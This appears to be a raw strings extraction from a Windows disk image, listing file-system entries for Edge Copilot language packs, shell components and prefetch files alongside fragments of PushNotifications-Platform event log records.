"Wide310x150Logo.scale-400.png.DATA Wide310x150Logo.scale-400.png Wide310x150Logo.scale-400.png manifest.json manifest.json manifest.json.DATA $I300 $I30 $I30 Analytics CompatExceptions Content Cryptomining Entities Sigma $I300 $I30 $I30 Analytics Content Cryptomining Entities Fingerprinting TransparentAdvertisers TransparentAdvertisers TransparentAdvertisers.DATA PdfPreviewHandler.dll PDFPRE~1.DLL PdfPreviewHandler.dll #copilot_overlay_strings_af.pak.DATA0 copilot_overlay_strings_af.pak COPILO~1.PAK copilot_overlay_strings_af.pak #copilot_overlay_strings_am.pak.DATA0 copilot_overlay_strings_am.pak COPILO~2.PAK copilot_overlay_strings_am.pak #copilot_overlay_strings_ar.pak.DATA0 copilot_overlay_strings_ar.pak COPILO~3.PAK copilot_overlay_strings_ar.pak #copilot_overlay_strings_as.pak.DATA0 copilot_overlay_strings_as.pak COPILO~4.PAK copilot_overlay_strings_as.pak #copilot_overlay_strings_az.pak.DATA0 copilot_overlay_strings_az.pak CO99B8~1.PAK copilot_overlay_strings_az.pak #copilot_overlay_strings_bg.pak.DATA0 copilot_overlay_strings_bg.pak COF542~1.PAK copilot_overlay_strings_bg.pak !copilot_overlay_strings_bn-IN.pak CO8687~1.PAK copilot_overlay_strings_bn-IN.pak #copilot_overlay_strings_bs.pak.DATA0 copilot_overlay_strings_bs.pak COF8F6~1.PAK copilot_overlay_strings_bs.pak #copilot_overlay_strings_ca.pak.DATA0 copilot_overlay_strings_ca.pak CO41DF~1.PAK copilot_overlay_strings_ca.pak #copilot_overlay_strings_cs.pak.DATA0 copilot_overlay_strings_cs.pak CO12B0~1.PAK copilot_overlay_strings_cs.pak #copilot_overlay_strings_cy.pak.DATA0 copilot_overlay_strings_cy.pak CO6DEB~1.PAK copilot_overlay_strings_cy.pak #copilot_overlay_strings_da.pak.DATA0 copilot_overlay_strings_da.pak COE24F~1.PAK copilot_overlay_strings_da.pak #copilot_overlay_strings_de.pak.DATA0 copilot_overlay_strings_de.pak CO47D6~1.PAK copilot_overlay_strings_de.pak #copilot_overlay_strings_el.pak.DATA0 copilot_overlay_strings_el.pak CO71AC~1.PAK copilot_overlay_strings_el.pak !copilot_overlay_strings_en-GB.pak CO7E58~1.PAK copilot_overlay_strings_en-GB.pak !copilot_overlay_strings_en-US.pak COD350~1.PAK copilot_overlay_strings_en-US.pak "copilot_overlay_strings_es-419.pak CO8DF1~1.PAK copilot_overlay_strings_es-419.pak #copilot_overlay_strings_es.pak.DATA0 copilot_overlay_strings_es.pak CO88AC~1.PAK copilot_overlay_strings_es.pak #copilot_overlay_strings_et.pak.DATA0 copilot_overlay_strings_et.pak COA315~1.PAK copilot_overlay_strings_et.pak #copilot_overlay_strings_eu.pak.DATA0 copilot_overlay_strings_eu.pak CO5ED0~1.PAK copilot_overlay_strings_eu.pak MICROS~2.WIN MicrosoftAccount.UserOperations.winmd WofCompressedData #copilot_overlay_strings_fa.pak.DATA0 copilot_overlay_strings_fa.pak CO0CA6~1.PAK copilot_overlay_strings_fa.pak #copilot_overlay_strings_fi.pak.DATA0 copilot_overlay_strings_fi.pak COA86E~1.PAK copilot_overlay_strings_fi.pak $copilot_overlay_strings_fil.pak.DATA copilot_overlay_strings_fil.pak0 COC65D~1.PAK copilot_overlay_strings_fil.pak APPMAN~1.JS0 appManager.js WofCompressedData !copilot_overlay_strings_fr-CA.pak COB16B~1.PAK copilot_overlay_strings_fr-CA.pak #copilot_overlay_strings_fr.pak.DATA0 copilot_overlay_strings_fr.pak COE591~1.PAK copilot_overlay_strings_fr.pak #copilot_overlay_strings_ga.pak.DATA0 copilot_overlay_strings_ga.pak CO0FF0~1.PAK copilot_overlay_strings_ga.pak #copilot_overlay_strings_gd.pak.DATA0 copilot_overlay_strings_gd.pak CO1F54~1.PAK copilot_overlay_strings_gd.pak #copilot_overlay_strings_gl.pak.DATA0 copilot_overlay_strings_gl.pak CO0BA0~1.PAK copilot_overlay_strings_gl.pak #copilot_overlay_strings_gu.pak.DATA0 copilot_overlay_strings_gu.pak CODA86~1.PAK copilot_overlay_strings_gu.pak #copilot_overlay_strings_he.pak.DATA0 copilot_overlay_strings_he.pak COF942~1.PAK copilot_overlay_strings_he.pak #copilot_overlay_strings_hi.pak.DATA0 copilot_overlay_strings_hi.pak COFF93~1.PAK copilot_overlay_strings_hi.pak #copilot_overlay_strings_hr.pak.DATA0 copilot_overlay_strings_hr.pak CO7F95~1.PAK copilot_overlay_strings_hr.pak #copilot_overlay_strings_hu.pak.DATA0 copilot_overlay_strings_hu.pak COFE95~1.PAK copilot_overlay_strings_hu.pak #copilot_overlay_strings_id.pak.DATA0 copilot_overlay_strings_id.pak CO6699~1.PAK copilot_overlay_strings_id.pak #copilot_overlay_strings_is.pak.DATA0 copilot_overlay_strings_is.pak COB67A~1.PAK copilot_overlay_strings_is.pak #copilot_overlay_strings_it.pak.DATA0 copilot_overlay_strings_it.pak COF0A9~1.PAK copilot_overlay_strings_it.pak #copilot_overlay_strings_ja.pak.DATA0 copilot_overlay_strings_ja.pak COC18A~1.PAK copilot_overlay_strings_ja.pak BACKUP~1.JS0 backuprestore.js WofCompressedData #copilot_overlay_strings_ka.pak.DATA0 copilot_overlay_strings_ka.pak CO6294~1.PAK copilot_overlay_strings_ka.pak #copilot_overlay_strings_kk.pak.DATA0 copilot_overlay_strings_kk.pak COF74B~1.PAK copilot_overlay_strings_kk.pak #copilot_overlay_strings_km.pak.DATA0 copilot_overlay_strings_km.pak CO92B3~1.PAK copilot_overlay_strings_km.pak #copilot_overlay_strings_kn.pak.DATA0 copilot_overlay_strings_kn.pak CO774B~1.PAK copilot_overlay_strings_kn.pak #copilot_overlay_strings_ko.pak.DATA0 copilot_overlay_strings_ko.pak COCC7F~1.PAK copilot_overlay_strings_ko.pak $copilot_overlay_strings_kok.pak.DATA copilot_overlay_strings_kok.pak0 CO7838~1.PAK copilot_overlay_strings_kok.pak #copilot_overlay_strings_lb.pak.DATA0 copilot_overlay_strings_lb.pak COBC11~1.PAK copilot_overlay_strings_lb.pak #copilot_overlay_strings_lo.pak.DATA0 copilot_overlay_strings_lo.pak CO4E28~1.PAK copilot_overlay_strings_lo.pak #copilot_overlay_strings_lt.pak.DATA0 copilot_overlay_strings_lt.pak CO5CDC~1.PAK copilot_overlay_strings_lt.pak #copilot_overlay_strings_lv.pak.DATA0 copilot_overlay_strings_lv.pak CO86A8~1.PAK copilot_overlay_strings_lv.pak #copilot_overlay_strings_mi.pak.DATA0 copilot_overlay_strings_mi.pak CO99B5~1.PAK copilot_overlay_strings_mi.pak #copilot_overlay_strings_mk.pak.DATA0 copilot_overlay_strings_mk.pak COFE4D~1.PAK copilot_overlay_strings_mk.pak #copilot_overlay_strings_ml.pak.DATA0 copilot_overlay_strings_ml.pak CO66E6~1.PAK copilot_overlay_strings_ml.pak #copilot_overlay_strings_mr.pak.DATA0 copilot_overlay_strings_mr.pak COD583~1.PAK copilot_overlay_strings_mr.pak #copilot_overlay_strings_ms.pak.DATA0 copilot_overlay_strings_ms.pak CO040F~1.PAK copilot_overlay_strings_ms.pak #copilot_overlay_strings_mt.pak.DATA0 copilot_overlay_strings_mt.pak COBECA~1.PAK copilot_overlay_strings_mt.pak FAMILY~1.WIN Family.Cache.winmd WofCompressedData #copilot_overlay_strings_nb.pak.DATA0 copilot_overlay_strings_nb.pak CO3A77~1.PAK copilot_overlay_strings_nb.pak #copilot_overlay_strings_ne.pak.DATA0 copilot_overlay_strings_ne.pak COC525~1.PAK copilot_overlay_strings_ne.pak #copilot_overlay_strings_nl.pak.DATA0 copilot_overlay_strings_nl.pak COA4C0~1.PAK copilot_overlay_strings_nl.pak #copilot_overlay_strings_nn.pak.DATA0 copilot_overlay_strings_nn.pak CO0A58~1.PAK copilot_overlay_strings_nn.pak #copilot_overlay_strings_or.pak.DATA0 copilot_overlay_strings_or.pak CO30DB~1.PAK copilot_overlay_strings_or.pak #copilot_overlay_strings_pa.pak.DATA0 copilot_overlay_strings_pa.pak CO6644~1.PAK copilot_overlay_strings_pa.pak #copilot_overlay_strings_pl.pak.DATA0 copilot_overlay_strings_pl.pak CO33C0~1.PAK copilot_overlay_strings_pl.pak !copilot_overlay_strings_pt-BR.pak COE812~1.PAK copilot_overlay_strings_pt-BR.pak !copilot_overlay_strings_pt-PT.pak CO6EC5~1.PAK copilot_overlay_strings_pt-PT.pak #copilot_overlay_strings_qu.pak.DATA0 copilot_overlay_strings_qu.pak CO27C7~1.PAK copilot_overlay_strings_qu.pak #copilot_overlay_strings_ro.pak.DATA0 copilot_overlay_strings_ro.pak CO7255~1.PAK copilot_overlay_strings_ro.pak #copilot_overlay_strings_ru.pak.DATA0 copilot_overlay_strings_ru.pak CO0D47~1.PAK copilot_overlay_strings_ru.pak #copilot_overlay_strings_sk.pak.DATA0 copilot_overlay_strings_sk.pak CO9317~1.PAK copilot_overlay_strings_sk.pak #copilot_overlay_strings_sl.pak.DATA0 copilot_overlay_strings_sl.pak CO4ED2~1.PAK copilot_overlay_strings_sl.pak #copilot_overlay_strings_sq.pak.DATA0 copilot_overlay_strings_sq.pak CO5C22~1.PAK copilot_overlay_strings_sq.pak #copilot_overlay_strings_sr.pak.DATA0 copilot_overlay_strings_sr.pak CO31C9~1.PAK copilot_overlay_strings_sr.pak #copilot_overlay_strings_sv.pak.DATA0 copilot_overlay_strings_sv.pak CO06FD~1.PAK copilot_overlay_strings_sv.pak #copilot_overlay_strings_ta.pak.DATA0 copilot_overlay_strings_ta.pak COB3D8~1.PAK copilot_overlay_strings_ta.pak #copilot_overlay_strings_te.pak.DATA0 copilot_overlay_strings_te.pak COEE94~1.PAK copilot_overlay_strings_te.pak #copilot_overlay_strings_th.pak.DATA0 copilot_overlay_strings_th.pak CO1108~1.PAK copilot_overlay_strings_th.pak #copilot_overlay_strings_tr.pak.DATA0 copilot_overlay_strings_tr.pak CO6941~1.PAK copilot_overlay_strings_tr.pak #copilot_overlay_strings_tt.pak.DATA0 copilot_overlay_strings_tt.pak CO3F75~1.PAK copilot_overlay_strings_tt.pak #copilot_overlay_strings_ug.pak.DATA0 copilot_overlay_strings_ug.pak CO4FD3~1.PAK copilot_overlay_strings_ug.pak #copilot_overlay_strings_uk.pak.DATA0 copilot_overlay_strings_uk.pak CO7AAF~1.PAK copilot_overlay_strings_uk.pak #copilot_overlay_strings_ur.pak.DATA0 copilot_overlay_strings_ur.pak COCACD~1.PAK copilot_overlay_strings_ur.pak #copilot_overlay_strings_vi.pak.DATA0 copilot_overlay_strings_vi.pak CO8F93~1.PAK copilot_overlay_strings_vi.pak CLC69C~1.WIN CloudExperienceHostBroker.RetailDemo.winmd !copilot_overlay_strings_zh-CN.pak CO600E~1.PAK copilot_overlay_strings_zh-CN.pak CLOUDD~1.WIN CloudDomainJoin.DataModel.winmd WofCompressedData !copilot_overlay_strings_zh-TW.pak CO3E77~1.PAK copilot_overlay_strings_zh-TW.pak copilot_setup.exe COPILO~1.EXE copilot_setup.exe (dev.copilot.identity_helper.exe.manifest DEVCOP~1.MAN dev.copilot.identity_helper.exe.manifest -internal.copilot.identity_helper.exe.manifest INTERN~1.MAN internal.copilot.identity_helper.exe.manifest +stable.copilot.identity_helper.exe.manifest0 STABLE~1.MAN stable.copilot.identity_helper.exe.manifest win10 $I300 $I30 $I30 msixbundle 2copilot.identity_helper.Sparse.Internal.msixbundle 0copilot.identity_helper.Sparse.Stable.msixbundle win11 $I300 $I30 $I30 msixbundle 2copilot.identity_helper.Sparse.Internal.msixbundle 0copilot.identity_helper.Sparse.Stable.msixbundle external_extensions.json EXTERN~1.JSO external_extensions.json camera_mf_trace.wprp camera_mf_trace.wprp CAMERA~1.WPR camera_mf_trace.wprp $I300 EmbeddedBrowserWebView.dll CLOUDE~1.WIN CloudExperienceHostBroker.LocalNgc.winmd ie_to_edge_bho.dll IE_TO_~1.DLL ie_to_edge_bho.dll ie_to_edge_bho_64.dll IE_TO_~2.DLL ie_to_edge_bho_64.dll ie_to_edge_stub.exe0 IE_TO_~1.EXE ie_to_edge_stub.exe ad-selection-attestations.dat ad-selection-attestations.dat AD-SEL~1.DAT ad-selection-attestations.dat manifest.json manifest.json MANIFE~1.JSO manifest.json RESILI~1 ResiliencyLinks $I300 MEIPreload. $I30 $I30 rlay_images_200_percent.pak.DATA (copilot_overlay_unscaled_images.pak.DATA &copilot_overlay_images_100_percent.pak &copilot_overlay_images_100_percent.pak &copilot_overlay_images_200_percent.pak &copilot_overlay_images_200_percent.pak EdgeWebView.dat.DATA EdgeWebView.dat0 EDGEWE~1.DAT EdgeWebView.dat msedge.dll.sig.DATA0 msedge.dll.sig MSEDGE~1.SIG msedge.dll.sig msedge.exe.sig.DATA0 msedge.exe.sig MSEDGE~2.SIG msedge.exe.sig resources.pak.DATA resources.pak RESOUR~1.PAK resources.pak WIDEVI~1 WidevineCdm $I300 manifest.json.DATA _platform_specific _PLATF~1 manifest.json manifest.json manifest.json manifest.json.DATA _PLATF~1 _platform_specific $I300 win_x64 win_x64 $I300 widevinecdm.dll.sig.DATA widevinecdm.dll.sig0 widevinecdm.dll.sig0 widevinecdm.dll.sig0 widevinecdm.dll.sig.DATA VISUAL~1 VisualElements $I300 $I30 $I30 LogoBeta.png.DATA LogoCanary.png.DATA LogoCopilot.png.DATA LogoCanary.png.DATA0 LogoCanary.png LogoCanary.png LogoCanary.png LogoCopilot.png.DATA LogoCopilot.png0 LogoCopilot.png0 LogoCopilot.png LogoCopilotDev.png.DATA0 LogoCopilotDev.png LogoCopilotDev.png LogoCopilotDev.png resources.pri.DATA resources.pri resources.pri resources.pri SmallLogo.png.DATA SmallLogo.png SmallLogo.png SmallLogo.png SmallLogoBeta.png.DATA SmallLogoBeta.png SmallLogoBeta.png SmallLogoBeta.png SmallLogoCanary.png.DATA SmallLogoCanary.png0 SmallLogoCanary.png0 SmallLogoCanary.png SmallLogoDev.png.DATA SmallLogoDev.png SmallLogoDev.png SmallLogoDev.png COPILO~1 CopilotStable $I300 "Square44x44Logo.scale-150.png.DATA &Square44x44Logo.targetsize-32.png.DATA $I30 $I30 Square150x150Logo.scale-100.png0 Square150x150Logo.scale-100.png !AdaptiveCards.ObjectModel.Uwp.dll AdaptiveCards.Rendering.Uwp.dll AppListBackup.dll appxblockmap.xml appxmanifest.xml AppxMetadata APPXME~1 appxsignature.p7x Assets BackupBanner.dll CommandExecutor.dll CommandExecutorExtension.dll concrt140_app.dll DynamicLottie.dll FamilyValueProp FREUserInterface FREUserInterface.dll IntentDefinitions LiveCaptions entDefinitions LiveCaptions LiveCaptions LogonWebHost LogonWebHost.dll LogonWebHostProduct.exe $MicrosoftGraphRecentItemsManager.dll msvcp140_1_app.dllr msvcp140_2_app.dll msvcp140_app.dll msvcp140_atomic_wait_app.dll msvcp140_codecvt_ids_app.dllVOI OSClient.NET.dll OSClient.UWP.dll resources.prig ScreenClipping ScreenClipping.dllc ScreenClippingHost.exe SettingsModelService SettingsModelService.AOT.dll SETTIN~1 SnapLauncherProtocol.exe SnapLayout SnapLayout.dll SNAPLA~1 SpeechRecognizer.dll SpeechRecognizerExtension.dll SpeechSynthesizer SpeechSynthesizerExtension.dll SPEECH~1 StartMenu StartMenu.dll StartMenu.NET.dll Taskbar.View.dllX TwinSxS.dll ValueBanner vcamp140_app.dlld vccorlib140_app.dll vcomp140_app.dlld vcruntime140_1_app.dll vcruntime140_app.dll VoiceAccess VoiceAccessCommon VoiceAccessHost VOICEA~1 VOICEA~2 Widgets.Taskbar WIDGET~1.TAS SystemTray Taskbar Taskbar.View.dllX TwinSxS.dll url_rules.json ValueBanner vcamp140_app.dlld vccorlib140_app.dll vcomp140_app.dlld vcruntime140_1_app.dll vcruntime140_app.dll VoiceAccess VoiceAccess.dll VoiceAccessCommon VoiceAccessCommon.dll VoiceAccessHost VoiceAccessHost.dll VoiceAccessPlugin.dll VoiceAccessUserInterface.dll VOICEA~1 VOICEA~2 Widgets.Taskbar WIDGET~1.TAS LiveCaptionsBackendDll.dll LiveCaptionsDesktop.dll LiveCaptionsXamlApplication.dll LIVECA~1 LogonWebHost LogonWebHost.dll LogonWebHostProduct.exe %Microsoft.Management.Deployment.winmd microsoft.system.package.metadatadl $MicrosoftGraphRecentItemsManager.dll MICROS~1.METpp. msvcp140_1_app.dllr msvcp140_2_app.dll msvcp140_app.dll msvcp140_atomic_wait_app.dll msvcp140_codecvt_ids_app.dllVOI OSClient.NET.dll OSClient.UWP.dll Event xmlns 5http://schemas.microsoft.com/win/2004/08/events/event System Provider Name Guid EventID Qualifiers Version Level Task Opcode Keywords TimeCreated SystemTime EventRecordID Correlation ActivityID RelatedActivityID Execution ProcessID ThreadID Channel Computer DESKTOP-8GBP982 Security UserID Microsoft-Windows-PushNotifications-Platform Microsoft-Windows-PushNotification-Platform/Operational EventData Data GroupPolicyValue MDMPolicyValue Microsoft-Windows-PushNotifications-Platform Microsoft-Windows-PushNotification-Platform/Operational PowerEventType IsEnabled BatterySaverStateChange Microsoft-Windows-PushNotifications-Platform Microsoft-Windows-PushNotification-Platform/Operational ACPowerChange Microsoft-Windows-PushNotifications-Platform Microsoft-Windows-PushNotification-Platform/Operational MonitorSettingChange Microsoft-Windows-PushNotifications-Platform Microsoft-Windows-PushNotification-Platform/Operational OpportunisticConnectedStandbyStateChange Microsoft-Windows-PushNotifications-Platform Microsoft-Windows-PushNotification-Platform/Operational Object ProcessName C:\Windows\System32\svchost.exe Microsoft-Windows-PushNotifications-Platform Microsoft-Windows-PushNotification-Platform/Operational Endpoint SessionId Error ProcessName C:\Windows\System32\svchost.exe Microsoft-Windows-PushNotifications-Platform Microsoft-Windows-PushNotification-Platform/Operational Microsoft-Windows-PushNotifications-Platform Microsoft-Windows-PushNotification-Platform/Operational BatterySaverStateChange Microsoft-Windows-PushNotifications-Platform Microsoft-Windows-PushNotification-Platform/Operational ACPowerChange Microsoft-Windows-PushNotifications-Platform Microsoft-Windows-PushNotification-Platform/Operational MonitorSettingChange Microsoft-Windows-PushNotifications-Platform Microsoft-Windows-PushNotification-Platform/Operational OpportunisticConnectedStandbyStateChange Microsoft-Windows-PushNotifications-Platform Microsoft-Windows-PushNotification-Platform/Operational Microsoft-Windows-PushNotifications-Platform Microsoft-Windows-PushNotification-Platform/Operational DeviceId ConnectionType Microsoft-Windows-PushNotifications-Platform Microsoft-Windows-PushNotification-Platform/Operational ConnectionType OldIndex OldAddressFamily NewIndex NewAddressFamily NewPhysicalMediumType Microsoft-Windows-PushNotifications-Platform Microsoft-Windows-PushNotification-Platform/Operational ConnectionType HostName Microsoft-Windows-PushNotifications-Platform Microsoft-Windows-PushNotification-Platform/Operational ConnectionType ErrorCode Microsoft-Windows-PushNotifications-Platform Microsoft-Windows-PushNotification-Platform/Operational ConnectionType HostName Port Microsoft-Windows-PushNotifications-Platform Microsoft-Windows-PushNotification-Platform/Operational Microsoft-Windows-PushNotifications-Platform Microsoft-Windows-PushNotification-Platform/Operational ConnectionType Microsoft-Windows-PushNotifications-Platform Microsoft-Windows-PushNotification-Platform/Operational ConnectionType Error Microsoft-Windows-PushNotifications-Platform Microsoft-Windows-PushNotification-Platform/Operational Microsoft-Windows-PushNotifications-Platform Microsoft-Windows-PushNotification-Platform/Operational Microsoft-Windows-PushNotifications-Platform Microsoft-Windows-PushNotification-Platform/Operational Microsoft-Windows-PushNotifications-Platform Microsoft-Windows-PushNotification-Platform/Operational Microsoft-Windows-PushNotifications-Platform Microsoft-Windows-PushNotification-Platform/Operational Microsoft-Windows-PushNotifications-Platform Microsoft-Windows-PushNotification-Platform/Operational Verb TrID Namespace CorrelationVector Bytes Payload ConnectionType Microsoft-Windows-PushNotifications-Platform Microsoft-Windows-PushNotification-Platform/Operational Microsoft-Windows-PushNotifications-Platform Microsoft-Windows-PushNotification-Platform/Operational Microsoft-Windows-PushNotifications-Platform Microsoft-Windows-PushNotification-Platform/Operational Microsoft-Windows-PushNotifications-Platform Microsoft-Windows-PushNotification-Platform/Operational Microsoft-Windows-PushNotifications-Platform Microsoft-Windows-PushNotification-Platform/Operational Microsoft-Windows-PushNotifications-Platform Microsoft-Windows-PushNotification-Platform/Operational Microsoft-Windows-PushNotifications-Platform Microsoft-Windows-PushNotification-Platform/Operational Microsoft-Windows-PushNotifications-Platform Microsoft-Windows-PushNotification-Platform/Operational Microsoft-Windows-PushNotifications-Platform Microsoft-Windows-PushNotification-Platform/Operational Microsoft-Windows-PushNotifications-Platform Microsoft-Windows-PushNotification-Platform/Operational Microsoft-Windows-PushNotifications-Platform Microsoft-Windows-PushNotification-Platform/Operational Microsoft-Windows-PushNotifications-Platform Microsoft-Windows-PushNotification-Platform/Operational DeviceId UserId Error Microsoft-Windows-PushNotifications-Platform Microsoft-Windows-PushNotification-Platform/Operational Status Microsoft-Windows-PushNotifications-Platform Microsoft-Windows-PushNotification-Platform/Operational Microsoft-Windows-PushNotifications-Platform Microsoft-Windows-PushNotification-Platform/Operational Microsoft-Windows-PushNotifications-Platform Microsoft-Windows-PushNotification-Platform/Operational Microsoft-Windows-PushNotifications-Platform Microsoft-Windows-PushNotification-Platform/Operational Microsoft-Windows-PushNotifications-Platform Microsoft-Windows-PushNotification-Platform/Operational Microsoft-Windows-PushNotifications-Platform Microsoft-Windows-PushNotification-Platform/Operational Microsoft-Windows-PushNotifications-Platform Microsoft-Windows-PushNotification-Platform/Operational Microsoft-Windows-PushNotifications-Platform Microsoft-Windows-PushNotification-Platform/Operational Microsoft-Windows-PushNotifications-Platform Microsoft-Windows-PushNotification-Platform/Operational Microsoft-Windows-PushNotifications-Platform Microsoft-Windows-PushNotification-Platform/Operational ChannelId AppUserModelId ErrorCode 1;12418343350202156029 S-1-15-2-2922268314-1930440196-3917253608-4275534170-1613359250-253686406-2516286921 Microsoft-Windows-PushNotifications-Platform Microsoft-Windows-PushNotification-Platform/Operational PackageFullName AppUserModelId AppSettings AppType ErrorCode MicrosoftWindows.Client.WebExperience_525.31002.150.9_x64__cw5n1h2txyewy MicrosoftWindows.Client.WebExperience_cw5n1h2txyewy!PackageMetadata Microsoft-Windows-PushNotifications-Platform Microsoft-Windows-PushNotification-Platform/Operational MicrosoftWindows.Client.WebExperience_525.31002.150.9_x64__cw5n1h2txyewy MicrosoftWindows.Client.WebExperience_cw5n1h2txyewy!Widgets Microsoft-Windows-PushNotifications-Platform Microsoft-Windows-PushNotification-Platform/Operational MicrosoftWindows.Client.WebExperience_525.31002.150.9_x64__cw5n1h2txyewy MicrosoftWindows.Client.WebExperience_cw5n1h2txyewy!Global.WidgetBoard Microsoft-Windows-PushNotifications-Platform Microsoft-Windows-PushNotification-Platform/Operational MicrosoftWindows.Client.WebExperience_525.31002.150.9_x64__cw5n1h2txyewy MicrosoftWindows.Client.WebExperience_cw5n1h2txyewy!Global.WidgetDataModel Microsoft-Windows-PushNotifications-Platform Microsoft-Windows-PushNotification-Platform/Operational MicrosoftWindows.Client.WebExperience_525.31002.150.9_x64__cw5n1h2txyewy MicrosoftWindows.Client.WebExperience_cw5n1h2txyewy!Global.WidgetPicker Microsoft-Windows-PushNotifications-Platform Microsoft-Windows-PushNotification-Platform/Operational MicrosoftWindows.Client.WebExperience_525.31002.150.9_x64__cw5n1h2txyewy MicrosoftWindows.Client.WebExperience_cw5n1h2txyewy!Global.WidgetViewWinUI3 Microsoft-Windows-PushNotifications-Platform Microsoft-Windows-PushNotification-Platform/Operational Microsoft-Windows-PushNotifications-Platform Microsoft-Windows-PushNotification-Platform/Operational Microsoft-Windows-PushNotifications-Platform Microsoft-Windows-PushNotification-Platform/Operational Microsoft-Windows-PushNotifications-Platform Microsoft-Windows-PushNotification-Platform/Operational Microsoft-Windows-PushNotifications-Platform Microsoft-Windows-PushNotification-Platform/Operational Microsoft-Windows-PushNotifications-Platform Microsoft-Windows-PushNotification-Platform/Operational Microsoft-Windows-PushNotifications-Platform Microsoft-Windows-PushNotification-Platform/Operational 1;16989289272558142615 Microsoft.Windows.OneSettingsClient_cw5n1h2txyewy Microsoft-Windows-PushNotifications-Platform Microsoft-Windows-PushNotification-Platform/Operational AppUserModelId NotificationType TrackingId NotificationSource windows.immersivecontrolpanel_cw5n1h2txyewy!microsoft.windows.immersivecontrolpanel toast Microsoft-Windows-PushNotifications-Platform Microsoft-Windows-PushNotification-Platform/Operational TrackingId AppUserModelId SessionId MessageId windows.immersivecontrolpanel_cw5n1h2txyewy!microsoft.windows.immersivecontrolpanel Microsoft-Windows-PushNotifications-Platform Microsoft-Windows-PushNotification-Platform/Operational windows.immersivecontrolpanel_cw5n1h2txyewy!microsoft.windows.immersivecontrolpanel Microsoft-Windows-PushNotifications-Platform Microsoft-Windows-PushNotification-Platform/Operational KaValueType KaValue KaMinLimit Microsoft-Windows-PushNotifications-Platform Microsoft-Windows-PushNotification-Platform/Operational Microsoft-Windows-PushNotifications-Platform Microsoft-Windows-PushNotification-Platform/Operational Microsoft-Windows-PushNotifications-Platform Microsoft-Windows-PushNotification-Platform/Operational Microsoft-Windows-PushNotifications-Platform Microsoft-Windows-PushNotification-Platform/Operational Microsoft-Windows-PushNotifications-Platform Microsoft-Windows-PushNotification-Platform/Operational Microsoft-Windows-PushNotifications-Platform Microsoft-Windows-PushNotification-Platform/Operational Microsoft-Windows-PushNotifications-Platform Microsoft-Windows-PushNotification-Platform/Operational Microsoft-Windows-PushNotifications-Platform Microsoft-Windows-PushNotification-Platform/Operational Microsoft-Windows-PushNotifications-Platform Microsoft-Windows-PushNotification-Platform/Operational Microsoft-Windows-PushNotifications-Platform Microsoft-Windows-PushNotification-Platform/Operational Microsoft-Windows-PushNotifications-Platform Microsoft-Windows-PushNotification-Platform/Operational Microsoft-Windows-PushNotifications-Platform Microsoft-Windows-PushNotification-Platform/Operational Microsoft-Windows-PushNotifications-Platform Microsoft-Windows-PushNotification-Platform/Operational Microsoft-Windows-PushNotifications-Platform Microsoft-Windows-PushNotification-Platform/Operational Microsoft-Windows-PushNotifications-Platform Microsoft-Windows-PushNotification-Platform/Operational Microsoft-Windows-PushNotifications-Platform Microsoft-Windows-PushNotification-Platform/Operational Microsoft-Windows-PushNotifications-Platform Microsoft-Windows-PushNotification-Platform/Operational Microsoft-Windows-PushNotifications-Platform Microsoft-Windows-PushNotification-Platform/Operational Microsoft-Windows-PushNotifications-Platform Microsoft-Windows-PushNotification-Platform/Operational Microsoft-Windows-PushNotifications-Platform Microsoft-Windows-PushNotification-Platform/Operational Microsoft-Windows-PushNotifications-Platform Microsoft-Windows-PushNotification-Platform/Operational Microsoft-Windows-PushNotifications-Platform Microsoft-Windows-PushNotification-Platform/Operational Microsoft-Windows-PushNotifications-Platform Microsoft-Windows-PushNotification-Platform/Operational 17620~1.2460 1.76.20.24615 $I300 user.config USER~1.CON~ USER~1.CON~ user.config USER~1.CON~ NoiseAsset_256x256_PNG.png NoiseAsset_256x256_PNG.png NoiseAsset_256X256_PNG.png NoiseAsset_256x256_PNG.png NoiseAsset_256x256_PNG.png NORMAL~1.PNG normal_centre.png NORMAL~2.PNG normal_left.png NotepadAppList.scale-100.png NotepadAppList.scale-100.png NotepadAppList.scale-100.png confCons.xml PNLLAY~1.XML pnlLayout.xml MREMOT~1.PF0 MREMOTENG.EXE-610BBBDA.pf NotepadAppList.scale-200.png NotepadAppList.scale-200.png NotepadLargeTile.scale-100.png NotepadLargeTile.scale-100.png WMIPRV~2.PF0 WMIPRVSE.EXE-39F97B2D.pf 177192~1 1771920162 NotepadMedTile.scale-100.png NotepadMedTile.scale-100.png NotepadMedTile.scale-100.png CONTAI~1.DAT container.dat CONTAI~1.DAT container.dat CONTAI~1.DAT container.dat NotepadMedTile.scale-200.png NotepadMedTile.scale-200.png WINDOW~1 Windows Defender Scheduled Scan SVD4F1~1.PF0 SVCHOST.EXE-4B98D760.pf WI71BC~1.ETL WindowsUpdate.20260221.121757.401.27.etl PaintAppList.scale-200.png __ExtrinsicEvent CIM_BasedOn CIM_NumericSensor CIM_MediaAccessDevice CIM_MediaAccessDevice CIM_LogicalDevice $$_systemapps_shared_xsn.scale-200_fa04292cbe6e1fd62988aba07ae314a81315087b5c137dc494060fd2c38401f6_410902aaed922b4a.cdf-ms $$_systemapps_sxs_microsoftwindows.59337133.voiess_cw5n1h2txyewy_freuserinterface_assets_content_en-_f54decaa8e3c3218.cdf-ms $$_systemapps_sxs_microsoftwindows.59379618.inpapp_cw5n1h2txyewy_windowsinternal.composableshell.exp_0312fbab12137384.cdf-ms $$_systemresources_windows.ui.settingshandlers-nt_pris_71a69ceed5129daa.cdf-ms $$_syswow64_inputmethod_chs_5a48e65b9306b31f.cdf-ms $$_syswow64_windowspowershell_v1.0_modules_bitstransfer_e2cfc222371abebb.cdf-ms $$_syswow64_windowspowershell_v1.0_modules_psdesiredstateconfiguration_dscresources_msft_logresource_86b2d98441ae2d32.cdf-ms $$_SYS~4.CDF PRE7CE~1.CDFcdf@ program_files_common_files_microsoft_shared_ink_en-us_8a16130a1a0cde0c.cdf-ms5. program_files_common_files_microsoft_shared_ink_tt-ru_a6971803ef4b5734.cdf-ms program_files_windowspowershell_modules_packagemanagement_1.0.0.1_en_0a58b625b4dedb98.cdf-ms program_files_x86_windowspowershell_modules_microsoft.powershell.operation.validation_1.0.1_test_mod_5c8b1366b2e98d92.cdf-mss_d AppxBlockMap.xml APPXBL~1.XML AppxManifest.xml APPXMA~1.XML AppxMetadata APPXME~1 AppxSignature.p7x APPXSI~1.P7Xf Assets codecpacks_key.cer CODECP~1.CER microsoft.system.package.metadata MICROS~1.METi resources.pri RESOUR~1.PRI Third Party Notices.txt THIRDP~1.TXT AutofillAiModelCacheR AutofillStrikeDatabase AUTOFI~1rag AUTOFI~2rag blob_storagef BLOB_S~1 BookmarkMergedSurfaceOrdering~R BOOKMA~1.TM 